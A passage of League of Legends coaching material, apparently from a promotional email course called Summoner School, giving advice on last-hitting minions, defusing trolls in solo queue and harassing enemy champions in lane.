  3. For melee minions when playing an AP champion or others with attack damage below 75 like tanks and bruisers, attack once, wait for the tower to attack twice, then last hit
  4. For caster minions when playing an AP champion or others with attack damage below 75 like tanks and bruisers, attack once, let the tower attack, then last hit

Early in the game, your attack damage on an AD champion might be too low that you need an extra auto-attack. Do this extra auto-attack soon as possible (like in rules three and four) because your attack speed could be too slow to keep up with tower attacks.

You can overcome the problem of just not killing a minion with an auto-attack by having the right runes and masteries. It's smart to run attack damage runes on AD champions. The runes let you last hit better to help you get more gold and win the lane.

Sometimes you cannot one-hit a caster minion in bottom lane after a tower hit... but you have a special option. Tell your lane partner to setup the minions by auto-attacking each one. Some players hate their lane partner touching minions. This tactic is another option if you want Soraka throwing the occasional banana onto minions.

When ally minions also attack enemy minions under your tower, that's the most difficult scenario to last hit. It's a scenario to avoid by getting the minion sweet spot where minions sit outside your tower range. The combination of ability-use for your particular champion and pre-hitting minions gets you the gold in this difficult scenario. It's a beautiful site to kill every minion under your tower.

A Simple Bonus Tip to Get More Gold

A secret strategy to maximize your CS is to leave your lane to kill neutral minions. Look for opportunities to kill neutral minions in the jungle. Mid laners can steal raptors. Top and bottom lanes can get krugs, golems, or Gromp. Everyone can do the Rift Scuttler. Do a group of neutral minons just once and you get yourself an extra ward to help you get more neutral minions, save you from dying, or land your team a kill.

Look for opportunities to kill neutral minions in the jungle.

Some junglers in solo queue hate teammates who take jungle minions. It is always safe to ask. Slow jungle clearers and good gankers like Pantheon are well-suited to their teammates taking neutral creeps.

Gragas in the screenshot below steals the enemy krugs because he is not missing minions in lane. With this strategy, he nearly gets one hundred extra gold and stops the enemy mid or jungler from getting the gold - a relative change in 200 gold.

Gragas taking krugs

My last piece of advice here for last-hitting is what to do when you wait for minions to get on low-health. When there is minions or an enemy within your champion's range, like a washed up abusive drunken boxer your champion hits anything nearby. Stop this by clicking side-to-side to keep your champion mobile. Constant clicking can also keep your mind active. Another fix is to press "s" on your keyboard when you want your champion still.

Your Goal

If you follow this last-hitting guide in-game, aim for 8 minions per minute. Minions spawn at 1:15 in waves of 6 every 30 seconds. Every third wave has a 7th cannon minion. Waves take 30 seconds to get half-way into lane. At 8 minions per minute, you miss an average of 2 each wave (ignoring cannon minions for simplicity sake) for 104 CS at the 15-minute mark. If you're going hard, make it 9 minions per minute (117 CS at 15 minutes). If you want a world-class level, go for 10 minions per minute (130 CS at 15 minutes). Most pros don't get this.

Monitor your last-hitting by multiplying the minutes into the game (minus 2 minutes) by the number of minions you want per minute. It's better to realize you are last-hitting poorly at the 5-minute mark than the 15-minute mark so you can refocus quick. Constant feedback is better than late feedback. Another feedback loop is to run the LoL Creep Calculator on a second-monitor.

Daily Exercise: Last-Hitting

Practice last-hitting in a custom game against bots. Even if you think you are pro at last-hitting, use the benchmarks for truth. Practice various scenarios like when your tower attacks minions. Work on achieving the minion sweet spot so that in games you maximize the chance of getting a gank and having the enemy miss CS from fear of a gank.

I just practiced farming mid as Gragas. My focus in the first five minutes was on last-hitting and not doing additional damage to minions. This is good training for when there's a threatening jungler good at early ganks. As the game progressed I moved out to steal the enemy's krugs. Despite fighting the enemy bot 5 times, I got 162 CS in 15 minutes as you can see in the screenshot below.

Me as Gragas practicing last-hitting with 162 CS by 15 minutes

Last-hitting is one skill in League of Legends you can always work on. If you or your team plays poorly (and it will happen), focus on last-hitting well for the rest of the game. The fastest improving players find a way to learn something from every game. That's a powerful lesson to apply to life!

That was a pretty cool guide to all you need to last hit, hey? In a few days you learn how to handle trolls. There's tonnes more lessons waiting for you in Summoner School.

We've broken down all the skills, tips, and tricks to stop you losing games from feeding teammates. Get challenger if you want like us. Learn how to carry baddies and become pro-like. By joining Summoner School, you learn everything to become in the top 1% of all LoL players.

Join me. It's cool playing against pros. Get in now:

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How to Handle Trolls – Win More and Have Fun Playing

Today you get a special taste of the skills in Summoner School to win friends so players feel "you're like family".

In the video below UberGiantsBro, one of the creators of Summoner School, reveals how he handles trolls in league:

Once you've watched the 5-minute video, continue to read below for more cool advice on this hard topic.

You ask your support for a good champion but he gets Teemo. Your jungler took the second blue buff so a teammate afks. Your top rages at everyone for being trash when he's doing the worst on the team.

This is League of Legends solo queue - and it can be hell. Every player knows the frustration of solo queue. Trolls are probably the worst thing about League of Legends.

Ever since I started to play League of Legends, I believed the team who raged, had negative energy, and participated in bad team chat lost more than the team who avoided such behaviors. Then it was proved. Morello, lead champion designer of Riot Games, had the data to prove intra-team fights lead to more losses. In a forum post he said:

The data supports this. In all the chat logs we read and see, there's a greater correlation of loss between trash-talking teams and losing. When you yell at your team, you're causing the loss. Basically, there's no reason or excuse to be a ******.

What are you to do when trash goes on and all you want is to have fun winning?

For over six years I taught guys how to make friends, attract women, and generally be better with people. It is my career. I worked with bestselling authors of communication books, creators of therapies, and an Oprah star.

From my research, discoveries, and discussions with these experts, I have advice you can use in solo queue to handle problematic people. The best step-by-step option to handle jerks and have fun winning is to enroll in Summoner School. You learn everything to deal with players so you enjoy yourself, play better, and make your team better so you win more.

Below is a short guide to deal with players that ruin League of Legends so you can win more and have fun.

The First Simple Secret of Human Harmony

You just found a game and now ban champions. What is the first thing you do? It is not to ban OP champions.

The first step is to greet your teammates! A friendly introduction is your first impression on your team. It is the first thing you do in person when meeting someone.

Say nothing or say something rude to set the mood for a bitter game where teammates fight you more than the enemy.

If you start friendly, others are more likely to do the same. This means less chance of trolls. All you have to say is something like:

  • "Hey guys"
  • "Morning"
  • "Yo"
  • "Greetings fellow Earthlings"
  • "Hope ya'll having a good day"

Some games you can't be bothered to greet your teammates. Greet your teammates most games because it is the start of all human friendship. When I skip greetings, I often say something to build rapport.

Quick Rapport

Rapport is the art of connecting to someone. It is that feeling you get when someone understands you. This makes you like them.

Rapport is tough to create over an online game. There are some tips I developed you can use in LoL:

  1. Talk about recent LoL changes. A new champion just released? Ask your team, “What do you guys think of the new champion?” New skin made? “Love the new Teemo skin. Happen to have it?”
  2. Joke about names. Laugh with them. One I remember was “Master Bates”. Humor works because friends laugh with each other.
  3. Compliment a pick. When someone makes a good pick, give a kind word like, “Nice pick for mid lane”.
  4. Share something random about your day. I'm always surprised by how this creates an entirely new conversation and feel amongst the team. You usually get one or two players happy to comment on what you shared.
  5. Keep verbal resistance down. This means you don't disagree or hate. Rapport is the art of understanding so show people you get their reality. As an example, if a teammate told you he purchased a new skin and he loves it while you hate it, say, “Cool. Glad you got it.” An unfriendly person would say, "I hate that skin." We want to punch trolls because they get into verbal and emotional combat you can avoid with rapport. Minimize verbal resistance in your everyday conversations. People will like you more.

Once you use these quick rapport tips, you cut down the number of trolls, make friends in League of Legends, and enjoy yourself.

How to Handle Potential Trolls

LoL trolls

You be nice to your team and follow the advice in this guide yet someone wants to play a trash champ mid. You feel this **** always happens to you. What are you to do with such trolls?

A troll is someone who deliberately evokes anger from others. They often get pleasure and satisfaction from "trolling". Trolls are abundant in League of Legends. You can usually spot them at champion select by what they say.

There is two good lessons you can pick from the definition of trolls to handle trolls. The first is to not get angry. The worst thing you can do against a potential troll is express anger. This means calling them names, raging, and typing in capitals. Seeing your anger is the payoff that leads to their satisfaction of trolling. By not getting angry, you reduce the pay off they get from trolling.

The worst thing you can do against a potential troll is to express anger.

If you have a teammate that gets angry at the troll, tell him politely to chill and keep positive. You are not picking sides, but being a calm base for everyone. Be a leader. Draw your team together and focus on the enemy. "Guys, let's work together so we win."

Secondly, do not label someone in your mind as a troll. A troll is someone who deliberately, again, deliberately, does something to evoke anger from others. I have seen players think others are trolls when they have done nothing to troll.

Once I picked jungle Twitch when people believed it was awful (and it was a legitimate pick). Instantly I had 3 teammates call me a **** head and declare it's gg. 35 minutes later, I was 10 kills to 2 deaths and carried the team to victory.

When you think someone is a troll, give them the benefit of the doubt because they may:

  1. have computer or internet problems
  2. have made a mistake
  3. know something you don't
  4. not know something you do

A Jarvan casts his ult thinking he is helping the team. Instead he sets up teammates to die. His mistake does not make him a troll. You too make mistakes like everyone in League of Legends.

Jarvan helping meme

Conflict management is a matter of perception and opening your mind. It is good practice when you get angry to think of alternative reasons things happened the way they did. You will be surprised at why things took place.

Take for example a driver cutting in front of you in traffic. Sure, it may have been a dangerous move. I am not arguing against that. But what if the man who cut you off was trying to see the birth of his daughter? All he could think about was his newborn. In your mind he is no longer a jerk who intentionally tried to ruin your day. You become less angry.

What do you do when someone clearly trolls by intentionally feeding or doing random stuff that hurts your team?

Remember the first rule: do not get angry. A troll gets off from anger and frustration. Do not be sarcastic, abusive, or show anger. Sometimes it feels good to be quiet then burst out with a raging comment, but that is passive-aggressive behavior. You gain nothing from it.

Next, you can plead in a friendly and overly loving way, which adds humor. Say something like, "I'll send you roses to your door with a love note if you get exhaust over revive" or "Please, if you get exhaust over revive I'll order a hot chick dressed up as Nidalee to come visit you."

If there is nothing you can do to change their trollish behavior, let them know if they are going to troll, at least make it funny. By never getting angry about it and being friendly, you will be surprised at the number of people who no longer troll. If someone goes from trolling to not being a troll, thank them. Give them eternal blessings.

The most important tip is to focus on your attitude. That determines how you feel then how you play. You do not have to deal with online trash. You can choose to ignore it. Yes, fun is a choice!

When someone is abusive, they continue to abuse because they are the problem.

Other than these tips, I have yet to discover anything you can say to stop online abuse. When someone is abusive, they continue to abuse because they are the problem. Get it? Trolls have issues.

You cannot remove idiots from this world so there will always be a troll lurking in nearby darkness. Troll-handling is not about never getting trolled – it is about reducing the times you get trolled and enjoying yourself. You are better equipped than your enemy at handling trolls so they are more likely to be affected by trolls.

For all you need to deal with noobs, solo queue idiots, and carry feeders, access Summoner School today. You learn:

  • The #1 mistake by every League of Legends player that makes them die (a head-slapping moment for you here)
  • Get frustrated by a player who doesn't listen (and even rages) when you give advice? Brain-secrets from a mind-control guru to get players thanking you for advice (make your team better in solo queue)
  • 7 lost secrets used by pros in tournaments to counter-pick (have enemies in solo queue want to surrender before the loading screen)
  • 13 rules for eagle-eye map awareness so you never die to surprising enemies (includes 4 tips that make the blindest teammate safe)
  • And so much more...

Join hundreds of players by signing up to Summoner School.

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14 Tips to Win Your Lane and Get Kills – Ultimate Harassment Guide

Today is your fourth day of "Get Promoted from Your League in 5 Days". By now you should be playing better. On the first day you learned key rules to win more games. The second, how to get 120 minions by 15 minutes. And recently, you learned the basics of how to make friends and handle trolls. This brief message is a checkup to make sure you're following the advice. You can't improve otherwise.

You're about to learn a skill that gets little attention from noobs. It's used by pros every minute of a game and makes you a great League of Legends player. Win your lane more by discovering how to become a feared bully.

Harassment in League of Legends pressures the enemy with damage often in small amounts. Harassment has nothing to do with banter and trash-talk!

How is harassment important to you? Why will the 14 tips to better harass revealed in this guide make you a better LoL player?

Who wins the harassment battle often wins their lane and can better win the war. You build an advantage in gold, experience, and items. If an enemy is harassed too low, he gets zoned. He will be afraid to last hit and has to sit back to lose experience like the screenshot below:

Lulu zoning Rumble after harassing him

As you get good at harassing, you setup kills for yourself. You make it inviting for your jungler to gank. On top of that, you die less. If you get ganked, you can escape. You also can kill the enemy you harassed because he or she is on low-health. I get a kill using this tactic every second game. The benefits of learning how to harass sound sweet, uh?

The Secret to Own Any Lane Hard

You auto-attack the enemy twice, but was that really good harassment? There is more to harass than giving damage.

If you harass well, you own any enemy hard in lane. The perfect harass is when the enemy takes damage, you take no damage, they miss a last hit, and you don't miss a minion. Rarely will you get all four against a good player. The more of each you achieve, the better your harassment.

As you seek these four goals, keep in mind harassment is a battle between you and the enemy on three fronts:

  1. Health. What most players believe is harassment.
  2. Mana. This applies to mana champions. If you have equal health as the enemy, but you have mana while they are empty, you have the advantage. Non-mana champions like Riven can often harass and exchange damage until the enemy is low on mana.
  3. Safety. Harassment is more advantageous when the enemy is less safe. Putting an enemy on low health and mana is good, but if you can keep the minions closer to your tower, the enemy is vulnerable to ganks or being chased down.

As you use the following tips to give damage, avoid damage, get last hits, and make the enemy miss last hits, work at achieving the three points of health, mana, and safety.

14 Harassment Tips to Win Your Lane and Get Kills

Here are 14 tips on harassment that utilize these 3 fronts of harassment:

1Harass when the enemy goes to last hit and you have no minions to last hit. This is the best time to harass because the enemy will be closest to you and not look to damage you. If you follow only one harassment tip, make this it. Good enemies see this is about to happen and may avoid the last hit while exchanging damage.

2If your lane sustain is better than the enemy, make harassment a priority. Even if you exchange equal damage, with better sustain you heal and become ready to re-harass. There's a lesson in Summoner School that teaches you how to understand champion strengths and weaknesses without playing every champion.

3On the contrary to harassing the enemy when you have better sustain, avoid being harassed if you have inferior sustain.

4Intentionally push the lane or not. If you're confident in your ability to harass the enemy in lane without pushing it, do so then zone the enemy to reduce their creep score and experience. When you're a melee champion, rarely push because you cannot harass well when the enemy is under tower safety. Ranged champions benefit from pushing the lane because the enemy must last hit while you can move in-and-out of tower range to harass.

5Know the auto-attack range and range of abilities for you and your enemy. Caitlyn has the highest auto-attack range at the start but Tristana's range is the longest come level 18. When your range is longer, you can often auto-attack once then back without getting hit. Take this into consideration when you go to last hit and when the enemy goes to last hit.

6Harass at the start of a game if your jungler wants to gank soon for you. This is a great way for top laners to get first blood.

7Hit and run with abilities. Champions like Talon and Kha'Zix deal the most damage within two seconds (of their ability cycle) by harassing with abilities rather than auto-attacks. Renekton and Lee Sin can dive to the enemy, deal damage, then dash out before the enemy and minions deal harmful damage.

Harass when the enemy goes to last hit and you have no minions to last hit.

8Be weary of how close you and the enemy are to minions when you auto-attack harass so you come out ahead. Many times a Kennen has landed his Q on me then an auto-attack while I have not touched him, yet I've come out ahead because the Kennen took too much minion aggro. Don't get hit by minions early. Their damage can make you worse off than damage dealt to the enemy.

9If the enemy will get minion aggro should they attack you and you will not get minion aggro, you are probably in a better position to harass. Once you harass, enemies try to exchange your harassment. They will be worse off because of minion damage.

10There's a trick to quickly stop aggro. The fastest way is to stop attacking then enter a brush. A slower way is to walk out of range.

11If the enemy missed a skill-shot or used an ability to kill a minion, that's one less ability to hurt you. Consider harassing.

12If you have a large mana pool or good mana regen, hit the enemy with an ability. In most cases the enemy will attempt to harass you. Be prepared. Do not harass with an ability if you need mana or will become vulnerable to death (for example, you lose your stun to escape a gank and the enemy has missing champions).

13This tip is advanced to execute. If the enemy hides behind a minion to dodge a skill shot like Morgana's Dark Binding, last hit the protective minion then quickly cast your skill shot.

14An advanced tactic to avoid minion aggro is to auto-attack harass when enemy caster minions start an attack. Usually you can't harass based on minion animation though. The right time to harass is often from a momentary position of the enemy.

Pros are great at following about 10 of these tips. Execute all 14 tips and you become world-class in lane.

If you liked this harassment guide, it was taken from Summoner School. You can signup to it to win more. You learn every skill needed to play like a pro. Get challenger-tier (the best ladder on a server) like us if you want. It really is the most comprehensive guide created to help you carry noob teammates.

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